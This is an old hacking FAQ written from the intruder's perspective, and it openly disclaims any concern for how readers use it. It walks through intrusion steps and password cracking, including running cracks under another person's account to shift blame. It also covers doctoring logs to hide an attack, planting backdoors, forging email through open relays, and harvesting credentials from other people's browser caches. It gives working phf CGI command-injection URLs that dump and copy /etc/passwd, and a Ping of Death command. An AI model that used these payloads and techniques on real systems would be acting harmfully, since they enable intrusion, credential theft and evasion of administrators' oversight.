The Hack FAQ

Next: Administrivia


This FAQ is intended to explain and show the theory and practice behind hacking. While it serves both administrator and hacker alike, the perspective is from the intruder.


Table of Contents

1.0 Administrivia

2.0 Attack Basics

3.0 Account Basics

4.0 Password Basics

5.0 Denial of Service Basics

6.0 Logging Basics

7.0 Miscellaneous Basics

8.0 Web Browser

9.0 The Web Browser as an Attack Tool

10.0 The Basic Web Server

11.0 NT Basics

12.0 NT Accounts

13.0 NT Passwords

14.0 NT Console Attacks

15.0 NT Client Attacks

16.0 NT Denial of Service

17.0 NT Logging and Backdoors

18.0 NT Misc. Attack Info

19.0 Netware Accounts

20.0 Netware Passwords

21.0 Netware Console Attacks

22.0 Netware Client Attacks

23.0 Netware Denial of Service

24.0 Netware Logging and Backdoors

25.0 Netware Misc. Attack Info

26.0 Netware Mathematical/Theoretical Info

27.0 Unix Accounts

28.0 Unix Passwords

29.0 Unix Local Attacks

30.0 Unix Remote Attacks

31.0 Unix Logging

32.0 Hacker Resources


Go To Top


The Hack FAQ

1.0 Administrivia


The following was originally compiled in June 1998 and updated January 2003 and updated again October 2003. It answers some basic questions about this FAQ. This document is a reformatted copy of the origional from nmrc.org.


1.1 What is the mission and goal of this FAQ?

If we said "to teach hacking", we would be lying.

  1. First off, no documentation will teach you how to hack. This FAQ simply attempts to answers common questions regarding some of the underlying mechanics.
  2. Second, we will not be drawn into a debate regarding usage of terms (hacker vs. cracker, etc.) and will certainly not be drawn into a discussion on the moral or legal issues involved.
  3. The material is what it is - no more, no less, and we use terms the way we see fit to answer a question from the intruder perspective.

The goal here is simply information disemination.

1.2 How was this FAQ prepared?

For a large part of the material, testing was completed in the lab and at various field locations. Some of the tools used during testing are linked to web sites below in the projects section.

For NT, the lab was used, but due to a recent "moment of clarity", NT is no longer operational in the labs. Field locations will be used from now on. Web-related hacking information has been tested in the field, but now we also have resources for this type of testing in the lab. Unix testing is also done in the lab, but primarily limited to the free ones such as Linux and FreeBSD, OpenBSD, NetBSD.

Technical info has been discovered (read "quoted without permission because it was out in a public forum so we leeched it") and collected. Often, the technical detail is complete and self-explanatory in its original source, so we feel no reason to test it in a lab environment. We try to quote original material when we can. If we have left you out, email us at faq at nmrc dot org.

The actual FAQ was assembled from various text files and has been turned into XHTML source. This gives us a single starting place during revisions and the opportunity for a multitude of output formats.

1.3 How do I add to this FAQ?

It is prefered that you include OS flavor and versions, and other conditions used in testing. Theoretical discussion is fine, just try to back up your findings.

Anonymous submissions are okay. Encrypt them if you like. Here's Simple Nomad's GPG key (also available from MIT's key server):

1.4 Contributors

Here are a few of our many contributors (the list of sources borrowed from is a bit too lengthy to include here, and are typically referenced within the FAQ itself):

1.5 Other Credits

Tech Support:

Lab Support:

Documentation and Compilation:

Music Heard During Revising/Editing/Testing:

1.6 Where can I download this FAQ?

This FAQ is available online (and possibly in other formats) from the following locations:

Currently, due to the new processing of the information, mirrors will not be supported. Once we've implemented the process, we hope to provide updates to this FAQ once a month.

1.7 Where is the disclaimer?

There is no disclaimer. Disclaimers are lame and idiotic LawyerSpeak. We don't care how you use this information. If you use it to break the law, fine. If you get caught, fine. If you use it to secure a system, fine. We are responsible for ourselves, therefore we need no "disclaimer". Instead, here is our exclaimer -- PISS OFF.

The only thing more lame than a disclaimer on a web page is a disclaimer in a sig file (we all know how many millions of dollars in attorney's fees are saved by sig files every year).

1.8 Changelog

Here are the changes that have been made to this FAQ.


Top | Next: Attack Basics | Previous: Table of Contents | Table of Contents

2.0 Attack Basics


2.1 What are the four steps to hacking?

While there is no hard and fast rule to hacking, most system intrusions can be divided into four steps. Depending on techniques involved, there could be less or more, but you can get the basic idea.

  1. Learn as much as possible about your target before the attack. The techniques involved can be passive to bordering on mini-attacks themselves. And plan out your goals. Using your knowledge gained to develop a plan, no matter how small or quick the hack is.
  2. Initial access to the system. No doubt about it, this is the real attack part. This could be anything from FTP access to a sendmail bug to logging in as a "regular" user. It should create an opportunity for either indirect or direct access.
  3. Full system access. At this level, most goals developed can be carried out: password file retrieved for cracking, trojan installed, secret file copied, etc. This stage usually involves either taking advantage of a bug that allows higher priviledges to be obtained, taking advantages of misconfigured system parameters, or a combination of both.
  4. Tracks are covered and backdoors installed. System logging is doctored to remove traces of the attack and what was done during the attack, and either defenses are lowered or files are tampered with to allow quicker and easier access. Some experienced hackers even patch the system to keep less experienced hackers out of the system (who might possibly tip off a administrator through clumsiness). Once step four is complete, hackers will refer to this system as being owned.

Of course, some steps might be repeated, especially step 2. Or maybe an entire series of mini "1-2-3-4-1-2-3-4" attacks are used in concert to obtain access to a system or achieve a goal.


Top | Next: Account Basics | Previous: Administrivia | Table of Contents

3.0 Account Basics


This section deals with the basics regarding computer accounts.


3.1 What are accounts?

Accounts are a way of identifying users to a computer system. Other terms you may see or here are IDs, user IDs, logins, or some other variant. Most systems, when initially accessed, will require you to provide an account name, and will usually require you follow up with a password. Not knowing a password sucks, but not knowing a valid account name sucks more.

Account names are usually something either very common: such as a part of the user's name like tshimomura or kmitnick, part of a user's function like dbadmin or webmaster, or sometimes kind of goofy such as employee numbers like u121, or something made up like up-uat or imnsho. Usually, if you can find out one or two regular user account names, it might be possible to guess additional names -- particularly if employee numbers or account numbers are used.

Accounts can usually be divided up into four categories -- god, special, regular, and guest. A god account can usually do anything system-wise, from adding more users to changing anybody's password to complete system reconfiguration. As a hacker, this is typically your objective. Special accounts are usually either accounts used by the system itself or accounts that fulfill some type of administrative roll without full god access. Regular accounts are simply that -- the accounts used by regular users for their normal tasks. And guest accounts are accounts designed for anyone to use -- these are usually there as a convenience for those who do not have a regular account on the system. A good example of this is anonymous FTP. Typically, guest accounts have fairly restrictive access to the system, especially on publicly accessible systems.

3.2 What are groups?

Groups are simply groupings of users. They are primarily used to ease system administration. For example, instead of having to assign access to a new hard drive to the forty accounting users, an admin just has to assign the accounting group the access. Even special privileges can often be assigned by group, such as the ability to manage a set of programs or system functions like printing.

Most modern systems allow accounts to belong to more than one group.


Top | Next: Password Basics | Previous: Attack Basics | Table of Contents

4.0 Password Basics


This section deals with the basics regarding passwords.


4.1 What are some password basics?

Most accounts on a computer system usually have some method of restricting access to that account, usually in the form of a password. When accessing the system, the user has to present a valid ID to use the system, followed by a password to use the account. Most systems either do not echo the password back on the screen as it is typed, or they print an asterisk in place of the real character.

On most systems,the password is typically ran through some type of algorithm to generate a hash. The hash is usually more than just a scrambled version of the original text that made up the password, it is usually a one-way hash. The one-way hash is a string of characters that cannot be reversed into its original text. You see, most systems do not "decrypt" the stored password during authentication, they store the one-way hash. During the login process, you supply an account and password. The password is ran through an algorithm that generates a one-way hash. This hash is compared to the hash stored on the system. If they are the same, it is assumed the proper password was supplied.

Cryptographically speaking, some algorithms are better than others at generating a one-way hash. The main operating systems we are covering here -- NT, Netware, and Unix -- all use an algorithm that has been made publically available and has been scrutinized to some degree.

To crack a password requires getting a copy of the one-way hash stored on the server, and then using the algorithm generate your own hash until you get a match. When you get a match, whatever word you used to generate your hash will allow you to log into that system. Since this can be rather time-consuming, automation is typically used. There are freeware password crackers available for NT, Netware, and Unix.

4.2 Why protect the hashes?

If the one-way hashes are not the password itself but a mathematical derivative, why should they be protected? Well, since the algorithm is already known, a password cracker could be used to simply encrypt the possible passwords and compare the one-way hashes until you get a match. There are two types of approaches to this -- dictionary and brute force.

Usually the hashes are stored in a part of the system that has extra security to limit access from potential crackers.

4.3 What is a dictionary password cracker?

A dictionary password cracker simply takes a list of dictionary words, and one at a time encrypts them to see if they encrypt to the one way hash from the system. If the hashes are equal, the password is considered cracked, and the word tried from the dictionary list is the password.

Some of these dictionary crackers can "manipulate" each word in the wordlist by using filters. These rules/filters allow you to change "idiot" to "1d10t" and other advanced variations to get the most from a word list. The best known of these mutation filters are the rules that come with Crack (for Unix). These filtering rules are so popular they have been ported over to cracking software for NT.

If your dictionary cracker does not have manipulation rules, you can "pre-treat" the wordlist. There are plenty of wordlist manipulation tools that allow all kinds of ways to filter, expand, and alter wordlists. With a little careful planning, you can turn a small collection of wordlists into a very large and thorough list for dictionary crackers without those fancy word manipulations built in.

4.4 What is a brute force password cracker?

A brute force cracker simply tries all possible passwords until it gets the password. From a cracker perspective, this is usually very time consuming. However, given enough time and CPU power, the password eventually gets cracked.

Most modern brute force crackers allow a number of options to be specified, such as maximum password length or characters to brute force with.

4.5 Which method is best for cracking?

It really depends on your goal, the cracking software you have, and the operating system you are trying to crack. Let's go through several scenarios.

If you remotely retrieved the password file through some system bug, your goal may be to simply get logged into that system. With the password file, you now have the user accounts and the hashes. A dictionary attack seems like the quickest method, as you may simply want access to the box. This is typical if you have a method of leveraging basic access to gain god status.

If you already have basic access and used this access to get the password file, maybe you have a particular account you wish to crack. While a couple of swipes with a dictionary cracker might help, brute force may be the way to go.

If your cracking software does both dictionary and brute force, and both are quite slow, you may just wish to kick off a brute force attack and then go about your day. By all means, we recommend a dictionary attack with a pre-treated wordlist first, followed up by brute force only on the accounts you really want the password to.

You should pre-treat your wordlists if the machine you are going to be cracking from bottlenecks more at the CPU than at the disk controller. For example, some slower computers with extremely fast drives make good candidates for large pre-treated wordlists, but if you have the CPU cycles to spare you might want to let the cracking program's manipulation filters do their thing.

A lot of serious hackers have a large wordlist in both regular and pre-treated form to accommodate either need.

4.6 What is a salt?

To increase the overhead in cracking passwords, some algorithms employ salts to add further complexity and difficulty to the cracking of passwords. These salts are typically 2 to 8 bytes in length, and algorithmically introduced to further obfuscate the one-way hash. Of the major operating systems covered here, only NT does not use a salt. The specifics for salts for both Unix and Netware systems are covered in their individual password sections.

Historically, the way cracking has been done is to take a potential password, encrypt it and produce the hash, and then compare the result to each account in the password file. By adding a salt, you force the cracker to have to read the salt in and encrypt the potential password with each salt present in the password file. This increases the amount of time to break all of the passwords, although it is certainly no guarantee that the passwords can't be cracked. Because of this most modern password crackers when dealing with salts do give the option of checking a specific account.

4.7 What are the dangers of cracking passwords?

The dangers are quite simple, and quite real. If you are caught with a password file you do not have legitimate access to, you are technically in possession of stolen property in the eyes of the law. For this reason, some hackers like to run the cracking on someone else's systems, thereby limiting their liability. I would only recommend doing this on a system you have a legitimate or well-established account on if you wish to keep a good eye on things, but perhaps have a way of running the cracking software under a different account than your own. This way, if the cracking is discovered (as it often is -- cracking is fairly CPU-intensive), it looks to belong to someone else. Obviously, you would want to run this under system adminstrator priviledges as you may have a bit more control, such as assigning lower priority to the cracking software, and hiding the results (making it less obvious to the real administrator).

Being on a system you have legit access to also allows you better access to check on the progress. Of course, if it is known you are a hacker, you'll still be the first to be blamed whether the cracking software is yours or not!

Running the cracking software in the privacy of your own home has the advantage of allowing you to throw any and all computing power you have at your disposal at a password, but if caught (say you get raided) then there is little doubt whose cracking job is running. However, there are a couple of things you can do to protect yourself: encrypt your files. Only decrypt them when you are viewing them, and wipe and/or encrypt them back after you are done viewing them.

4.8 Where are password hashes stored?

For information on NT passwords, see the NT Passwords section. For information on Netware passwords, see the Netware Passwords section. For information in Unix passwords, see the Unix Passwords section.

4.9 Are there any password schemes that are safe?

No password scheme is "safe". In both NT and Netware, you have no choices. Any problems found with recovering the password hashes or problems in the protocols used during logon are usually left unsolved and simply "worked around". A good example with NT is the fact that the LanMan hash is much easier to crack. To eliminate the LanMan hash requires a lot of work, but it still doesn't erase the fact that you can still crack the NT hashes.

With Unix, you may have a few more choices. See the section on SRP for details.

4.10 Is there any way I can open a password-protected Microsoft Office document?

Certainly! There are plenty of commercial programs that will do this, but we give props to Elcomsoft for fighting the DMCA. 30-day trial versions are available here


Top | Next: Denial of Service Basics | Previous: Account Basics | Table of Contents

5.0 Denial of Service Basics


This section covers basic info regarding Denial of Service attacks.


5.1 What is Denial of Service?

DoS (Denial of Service) is simply rendering a service incapable of responding to requests in a timely manner. This is a controversial subject, since some people think that DoS is not a hack, and/or is rather juvenile and petty. We prefer to think of them as just one more kind of tool in the toolbox, and as such, will continue to include material on them in the Hack FAQ. Ask yourself which is more alarming - the number of kids trying DoS attacks, or the number of DoS attacks that succeed?

Regardless of your feelings, DoS has been steadily gaining in popularity, whether with hackers mad at other hackers, sysadmins mad at spammers, or whatever - virtually everyone we've run into that is aware of the potential of DoS at least has software to do it, admins included.

5.2 What are some DoS scenarios?

Reasons that a hacker might want to resort to DoS might include the following:

Reasons that a sysadmin might use DoS:

5.3 What is the Ping of Death?

The Ping of Death is a large ICMP packet. The target receives the ping in fragments and starts reassembling the packet. However, due to the size of the packet once it is reassembled, it is too big for the buffer and overflows it. This causes unpredictable results, such as reboots or system hangs.

Windows NT is capable of sending such a packet. By simply typing in "ping -165527 -s 1 target" you can send such a ping. There are also source code examples available for Unix platforms that allow large ping packets to be constructed. These sources are freely available.

Most systems have patches available to prevent the Ping of Death from working. However, it is still included here for historical reasons, as the Ping of Death helped get the whole DoS craze really going, since it was so easy to perform.

5.4 What is a SYN Flood attack?

In the TCP/IP protocol, a three-way handshake takes place as a connection to a service is established. First, in a SYN packet from the client, to which the service responds with a SYNACK. Finally, the client responds to the SYNACK and the connection is considered established.

A SYN Flood attack is when the client does not responsd to the service's SYNACK and continues to send SYN packets, tying up the service until the handshake times out. The source address of the client is forged to a non-existant host, and as long as the SYN packets are sent faster than the timeout rate of the service host's TCP stack, the service will be unable to establish new connections..

This is only a simplified version of what happens, though. For more elaborate details and sample Linux code for creating a flood, read Project Neptune.

5.5 What are other popular DoS attacks?

Most others involve ICMP packets (such as used in 'ping') to create massive floods of traffic, or other packet malformations. Search for winnuke, smurf, or teardrop for more details, or visit one of the many sites dedicated to providing such tools, such as Packetstorm.

5.6 What are distributed DoS attacks?

Distributed DoS attacks are an interesting phenomena. The premise goes like this:

There are already several such tools available, such as Trinoo, TFN2K, and stacheldraht. Look for them on Packetstorm.

5.7 How can I discover new DoS attacks?

New DoS attacks are fairly easy to discover. Flooding any service or system with malformed or excessive packets and observing the behavior will tell you if you've discovered something interesting. It is advised that you test this kind of thing against home systems or cooperating friends until you've perfected your techniques. Often, it is easy to trace the source of such attacks, especially if you launch then from your home system without IP forgery, and since DoS is illegal against systems you don't have permission to attack, and may violate your ISP's acceptable use policy, you might want to be careful.

5.8 How does one defend against DoS attacks?

Good question.

Oh, you want an answer? Well, it often isn't easy to defend against DoS attacks, but there are a few things you can do. For defending against your Ping of Death style of attacks (malformed packets that crash a service or the system itself), the best line of defense is to keep your systems patched up, and to put a firewall between yourself and the Internet that is patched up. This really is the best method.

As far as bandwidth stealing attacks, such as floods, there is not a lot you can do. Packetstorm ran a contest that posed the question as far as distributed attacks go, and several of the concepts in numerous papers can be applied across the board to any DoS attack. The best papers included:

Protecting Against the Unknown by Mixter
This long "college disertation" style paper covers all kinds of security problems.
Purgatory 101: Learning to cope with the SYNs of the Internet by NightAxis and RFP
This is the paper that probably should have won since it addressed the idea of tracing the attack down.
Strategies for Defeating Distributed Attacks by Simple Nomad
This paper outlines methods on defeating the stealth communications used by most distributed attack systems, and was the one we hoped would win.

Top | Next: Logging Basics | Previous: Password Basics | Table of Contents

This section contains information regarding logging basics.


6.1 Why do I care about auditing, accounting, and logging?

Auditing, accounting, logging -- call it what you will, these are things used to create permanent or semi-permanent records of events on a system. Unfortunately, these can record your intrusion activities, sometimes in explicit and evidence-worthy detail. Therefore, potential intruders should not only be aware of what record keeping is available (either as a regular feature of the system or as add-ons) and have possible methods for defeating such recordings.

Some types of logging include simple text files with entries showing logins and logouts, maybe failed logins. Others show what programs were accessed, which programs were attempted to be run and the request failed, or keep track of an individual's disk usage. All can reveal info that can allow an administrator to reconstruct an attack.

6.2 What are some different logging techniques used by Admins?

Admins generally prefer to use simple logging techniques so as not to pile onto their current workload. Logs take up space. Large log files are sometimes very difficult to sift through as sys admins are looking for problems. These logs are usually stored in directories generally protected from casual viewing, or at least editing.

6.3 Why should I not just delete the log files?

Typically log files do not disappear. This might lead a curious sys admin to poke around looking for problems, and the paranoid sys admin to look for intruders. The logs should be edited if possible, or the entries made into them made to look as normal as possible.


Top | Next: Miscellaneous Basics | Previous: Denial of Service Basics | Table of Contents

7.0 Miscellaneous Basics


This section contains information that didn't seem to fit elsewhere.


7.1 What is a backdoor?

A backdoor is simply a way back into a system that not only bypasses existing security to regain access, but may even defeat any additional security enhancementsadded onto a system.

Backdoors can range from the simple to the exotic. Simple backdoors might include creating a new user account just for your intrusion needs, or taking over a little-used account. More complex backdoors may bypass regular access completely and involve trojans, such as a login program that gives you administrative access if you type in a special password.

Backdoors can be chained together, which is the technique used by most hackers. This involves a combination of techniques. For example, one or more accounts that have basic user access may have had their passwords cracked, and one or more accounts may be created by the hacker. Once the system is accessed by the hacker, the hacker may activate some technique or exploit a system misconfiguration that allows greater access. Often a hacker will lower the defenses in certain areas by slightly altering system configuration files. Perhaps a trojan program has been installed that will open holes upon command by the hacker. Some of these techniques will be discussed in detail in the individual operating system sections of this FAQ.

7.2 What is a buffer overflow?

A buffer overflow is when a buffer was assigned by a programmer to hold variable data, and the variable data placed into that buffer is greater that the size of the initial assignment of the buffer. Depending on the operating system and exactly what the "extra" data overflowing the buffer is, this can be used by a hacker to cause portions of a system to fail, or even execute arbitrary code.

Most buffer overflow exploits center around user-supplied data exceeding a buffer, and the extra data being executed on the stack to open up additional access. Buffer overflows exist on all major network operating systems. For a more deteailed explanation, read Smashing The Stack For Fun And Profit by Aleph1.

7.3 What is "lame"?

Lame. This is an adjective that says something is either useless or beneath a hacker to use, and therefore is shunned. It usually reflects a fixation on the simple and the bypassing of any real thought processes. Since that isn't much in the way of explanation, we'll define it in context:

Microsoft
Bill Gates has too much money, releases software loaded with security flaws, and will not fix any security problem unless the problem is made public. Real hackers will load up a free OS and only run Windows NT or 2000 in a VMWare virtual session. The only exception is to play games, and then a Win98 partition or extra computer is tolerated.
America Online
AOL is lame for several reasons. First, AOL has helped create a huge glut on the Internet as the AOL "engineers" worked feverishly to make AOL easy to use and then tied it to the Internet. This was done without providing Internet newbies with any sense of netiquette or how the medium worked. Instant chaos. Also, the vast majority of hacker wannabies that exist have either an AOL or Hotmail email address. A real hacker will download and install a free operating system, and hook up with an ISP that provides extra services such as shell access, etc. A wannabe uses Mommy's computer with Windows 98 and AOL already installed.
Hotmail
One of the first things AOL users or other wannabes who float from library to library for Internet computer time do is get a Hotmail account. Besides, it is.

7.4 How do I get around censorware like Net Nanny or the Great Firewall of China?

Peacefire, a "people for young people's freedom of speech" organization, has some good instructions.

7.5 How can I forge email addresses?

Let's assume you're connected to what's known as an open relay, a mail server that will attempt to deliver mail for any domain:

220 example.com ESTMP
helo foobar
250 example.com OK
mail from:<God@example.net>
250 Address OK
rcpt to:<Kent.Torokvei@example.org>
250 Kent.Torokvei OK
data
354 Enter mail, end with a single ".".
Kent, stop touching yourself!
.
250 Ok.
quit
221 Bye received. Goodbye.

If the admin had wisely disabled open relay, the mail server would have rejected the 'mail from' command because neither the From nor To header ends in the example.com domain. If you are local - topologically speaking - to the mail server, you may still spoof interally... unless the admin has enabled SMTP-AUTH, which requires a username/password login before the server will accept commands.

7.6 What's with ICQ?

If someone has turned on the "Activate my home page" feature it will turn their computer into a poor web server. Telnet to port 80 and type junk, followed by quit and enter. Boom, GPF. You can also explore the person's hard drive. Here's how:

http://members.icq.com/<ICQ of target person>

This will redirect you to the person's home computer and you'll have their IP address.

http://<IP address>/...../a2.html

This will show you the a2.html file in the ICQ directory. Add more dots and add .html to the url to look at other files.

This works on ICQ99a build 1700. The fix? Don't use ICQ, it's lame anyway.


Top | Next: Web Browser as Attack Target | Previous: Logging Basics | Table of Contents

8.0 Web Browser As Attack Point


This section deals with the web browser and the securing/hacking thereof.


8.1 What is unsafe about my browser?

There are two main areas regarding security around a browser -- reading your private files and manipulating you into a compromising situation.

Just a few files can provide a lot of information about yourself. These include cache files, the history file, and your bookmarks. Usually, if you are a typical home user, this is not a problem. But if your browser directory is stored on a server, the server could be compromised and then anything in the cache and history is in the hands of someone else. Every access and submitted form, including those to change passwords on servers whose service you are paying for.

Being manipulated is the other hot area. You can be tricked into supplying user IDs and passwords, revealing personal information like Social Security and credit card information, or even be presented with misinformation to cause you to act in a way to cause a vulnerability to arise. If your browser supports HTML extensions and/or Java, your history file, cache, and other files could be plucked from your hard drive. Your machine could be used as a mechanism to attack other resources behind your firewall, sending critical information to an offsite hacker. And while vulnerabilities in most mainstream browsers are constantly patched to prevent this type of behavior, certain hackers are constantly finding new holes.

Check out Georgi Guninski's home page for a good example of browser problems in the Internet Explorer and Netscape sections.

8.2 What's in the history, bookmark, and cache files?

We'll cover all three. First the history file.

For most browsers, the default color for a clickable link is blue. Once you've clicked on it and visited the link, it changes purple. While the colors may be different depending on the page design, the way your browser keeps track of this information is via the history file.

Again, for most browsers, the default is 30 days to expire a link, making it possible to see the last 30 days worth of web surfing by examining the history file. "Hmm, Fred keeps looking at a particular set of stocks. Does he know something I don't? Hey, Martha keeps looking at lesbian sites. What would her homophobic boss say about that?" Get the idea?

Here's a formatted example:

http://www.google.com/search?q=microsoft+stock+price+takeover+rumor+apple
http://www.google.com/search?q=apple+macintosh+hack
http://www.google.com/search?q=audit+trail+hide

If this were from the history file of someone at Microsoft, it might be quite interesting, even valuable.

Bookmarks are a problem for the same reason: it shows what sites you regularly browse. If you are bookmarking sites which require passwords to enter, a quick look your the cache will possibly reveal those passwords, or at least your account IDs.

The cache is your browser's way of making things a little easier on your access time, the server you're accessing, and the network in general. What happens is that when you access a web page, a copy of the page and any graphics used on that page are stored locally. That way, if access the page again, your browser can pull up the local copy instead of accessing the network. This saves time and bandwidth. When you reload, your browser compares the cached file to the one on the server you are accessing and pulls down the latest one. Most browsers will also cache queries and form submissions, as well.

If you are looking for dirt on someone, looking for credit card information, or just want to find out what someone's been up to, check their cache. Every query to a search site like Google is stored in cache. Typically, every form submission including browsing pages that require an ID and password will be there, unless a site has tagged a HTML document to not be cached.

The cache is typically located in a subdirectory underneath the browser's working directory , usually with the word "cache" in the directory name, depending on your OS and browser version. Otherwise, it may be stored in a temporary directory. For example, IBM's Web Explorer for OS/2 will store its cached files in C:\TCPIP\TMP, and is flushed before each run of the program.

Here is a formatted example from a cache's index file on a Unix workstation, with names changed to protect the not-so-innocent ;-)

n b <http://altavista.digital.com/cgi-bin/query?pg=q=web=>
10=.=%2bhack+%2bnt+%2bserver E1 

00/cache31DF458002EC693.cgi 
text/html 
4 ( <http://www.example.com/user/register.cgi> (r)
rE1 10/cache31DF457002CC693.html 

text/html 
. " <http://www.example.com/use>
r/welcome.html *1 J 14/cache31DF18940
27C693.html 
text/html J

Here are three entries. In the first, the user is trying to get NT hacking information from AltaVista. In the second, the user is trying to get signed onto a site called http://www.example.com/, and finally it looks like the user got in. The three cache files are:

You could view these files with a browser, since they're just local copies of the web pages. If 31DF457002CC693.html had a password in it and it was unreadable, you could still do the following:

Access the site yourself and try to login. Check your own cache and replace your cached file with the file 31DF457002CC693.html, renaming it to what your cache file was, and then resubmit the form. If the site is doing only password security, you might get in. If you still don't get in, try substituting the cookie file, as well (in the next section).

The information gained from these sources can also be quite useful for social engineering purposes. For example, you could determine the user was interested in aquariums and rare fish, and use that to assist in guessing a password.

8.3 What other browser files are important?

The cookie file (typically named 'cookie.txt') is a file used to store persistent information about your browser and Web server connection. Since HTTP requests are "connectionless" - one connection for every request - the cookie file is used to track information about the whole session with a server. This way a server can track information about you during your visit, by giving you a cookie. The cookie might typically track info such as which page you've been to or how you answered a question on a previous form. And due to the connectionless protocol, it keeps the cookie on the client.

This might not seem like a problem, but since Javascript can write information to the cookie file before it is sent to the server, limited information can be gathered about a user - typically, the email address. So, occassionally, the cookie.txt file will contain interesting information, usually not.

Here's an example of how the cookie file could be used here:

A user loads a page. It checks for its cookie in the cookie.txt file. If the cookie is there, the state the user left the page in last visit is restored (and we can jump to the last step). If no cookie is present, it is assumed the cookie is expired or it's the user's first visit. A default page is built for the user. The user clicks and selects stuff on the page. The user leaves the page. The cookie is updated with the changes made to the page.

The other important file is that pull-down menu in Netscape that showed the last 10 or so sites you've visited. This is typically located in the netscape.ini file in the [URL History] section. A clever Java applet could grab this information and ship it offsite, or if you've compromised a server where everyone has their config files in user directories, you can get to this information.

A couple of other directories that contain interesting files are the MAIL and NEWS subdirectories for Netscape. The MAIL directory will, of course, contain not only your inbox if you're using Netscape as your email application, but log every email sent out from your browser whether you are using Netscape for email or not. The file is typically called Sent, and is turned on for logging by default.

It is interesting to note that, while it is trivial to send fake email via Netscape (simply make the changes to the return address and send), the outgoing message is stored in the MAIL directory by default in most browsers. While fake email is still pretty easy to track down, having a copy of the message on your machine that you don't know about can be pretty damning evidence.

8.4 Can you tell me more about the cookie file?

As stated in the previous section, the cookie file, "cookie.txt", is a file used to store information about your browser and Web server connection.

The limits (last time I checked, and I checked Netscape only) are as follows - you can only have 300 cookies total, each cookie has a limit of 4KB (which works out to about 1.2MB), a single site can only have a max of 20 cookies in your cookie.txt file, and a web server can only access a user's cookie if that cookie.txt entry contains the web server's domain.

A cookie entry has the following in it -

NAME=VALUE; expires=DATE; path=PATH; domain=DOMAIN_NAME; secure

The name is the name of the cookie, and the value is the value of the cookie itself. The expires date, if present, is when the cookie expires. If there is no expiration date then the cookie is only kept on the client during the current session. The path and domain indicate which URLs can access certain cookies, and the secure keyword is used when a cookie needs to be sent over a secure link.

So how do we access this info? Using Java (these examples will not work alone, call from your own Java program).

First let's retrieve a cookie by name:

// This function is used by the GetCookie function...
function getCookieVal (offset) {
var endstr=document.cookie.indexOf(";", offset);
if (endstr==-1)
endstr=document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));
}
// ...and this function returns the requested cookie.
function GetCookie (name) {
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg)
return getCookieVal (j);
i = document.cookie.indexOf(" ", i) + 1;
}
return null; // return null if no cookie by that name
}

Now to set cookie information with this function:

// The first 2 args are used, the rest are optional. If you skip an
// arg give it a null value.
function SetCookie (name;value) {
var argv = SetCookie.arguments;
var argc = SetCookie.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
document.cookie = name + "=" + escape (value) +
((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
((path == null) ? "" : ("; path=" + path)) +
((domain == null) ? "" : ("; domain=" + domain)) +
((secure == true) ? "" : "; secure" + "");
}

Finally let's delete a cookie by name:

// This function uses the GetCookie function above.
function DeleteCookie (name) {
var exp = new Date();
exp.setTime (exp.getTime() -1); // set cookie to expire and browser will
// remove it at end of session
var cval = GetCookie (name);
document.cookie = name + "=" + cval + "; expires=" + exp.toGMTString();
}

8.5 How can I protect my browser files?

Well, you could disable cache (or set its size to zero) but that would certainly hurt performance. Usually flushing your cache at the end of a session or before visiting a site that's unknown would be good. Setting your history file preference to zero or wiping the file at the end of the session is also okay.

Don't put stupid stuff in your bookmark file ;-)

You can edit your cookie.txt file, removing any cookies and then using your local operating system make the cookie.txt file read only.

Disable the logging of outgoing email messages, unless you don't have a problem with anyone reading them.

A site can learn a lot about you, even without Netscape or Java. Take a look at Anonymizer Privacy Analysis. With extra logging options, a site can log your OS, browser, e-mail address, hostname, and last site visited. This isn't using JavaScript, either. Some companies use this info to build mailing lists, and track all of this info. To prevent this, you could use Anonymizer's site as a "proxy" to surf anonymously. Instructions are at the anonymizer site, and it currently offers limited free service.

If most of this is Greek to you, and you simply read this FAQ because you are afraid of computer bad guys, go to Download.com and look for a product called Cookie Monster. This product allows you to clean up any or all of these files, and is fairly easy to use (some of us actually use Windows clients here).

8.6 So why all of the paranioa about browsers?

Once again, review the Anonymizer web site at http://www.anonymizer.com/.

If that does not convince you, check out the following web site:

http://www.iptvreports.mcmail.com/interception_capabilities_2000.htm

People *do* watch you.


Top | Next: Web Browser as Attack Tool | Previous: Miscellaneous Basics | Table of Contents

9.0 Web Browser As Attack Tool


This section deals with using the web browser as an attack tool.


9.1 What is phf?

The phf file is an example CGI script that is used to update a phonebook style listing of people. By default, a lot of sites have this file sitting in /cgi-bin and don't even know it. You know, they installed everything to default. However, the phf file behaves "differently" if thrown a newline (0a) character. Here's the common attack for a Unix server:

http://example.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

Or better yet, a series of commands:

  1. http://example.com/cgi-bin/phf?%0aid==haqr==_phone=
  2. http://example.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser==haqr==_phone=
  3. http://example.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd%0A==haqr==_phone=
  4. http://example.com/~someuser/passwd
  5. http://example.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd==haqr==_phone=

The above commands are:

  1. id
  2. ls -la ~someuser
  3. cp /etc/passwd ~someuser/passwd
  4. (normal URL access to get the passwd file)
  5. rm ~someuser/passwd

You get the point. You could try to access the files directly or move them to another location for retrieval. We've used a Unix target as an example since it is most common, but NT commands will work on a NT server just fine, too.

9.2 What's the "test" hack?

There is a test CGI script included with most servers that can be used to make sure environment variables and other information is being passed to the server properly during queries. This example file is called, appropriately, "test-cgi" on most systems. Here's how it works:

http://example.com/cgi-bin/test-cgi?\whatever

The response will be something like...

CGI/1.0 test script report:

argc is 0. argv is .

SERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = example.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
text/html, text/x-html
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = whatever
REMOTE_HOST = fifth.column.gov
REMOTE_ADDR = 200.200.200.200
REMOTE_USER =
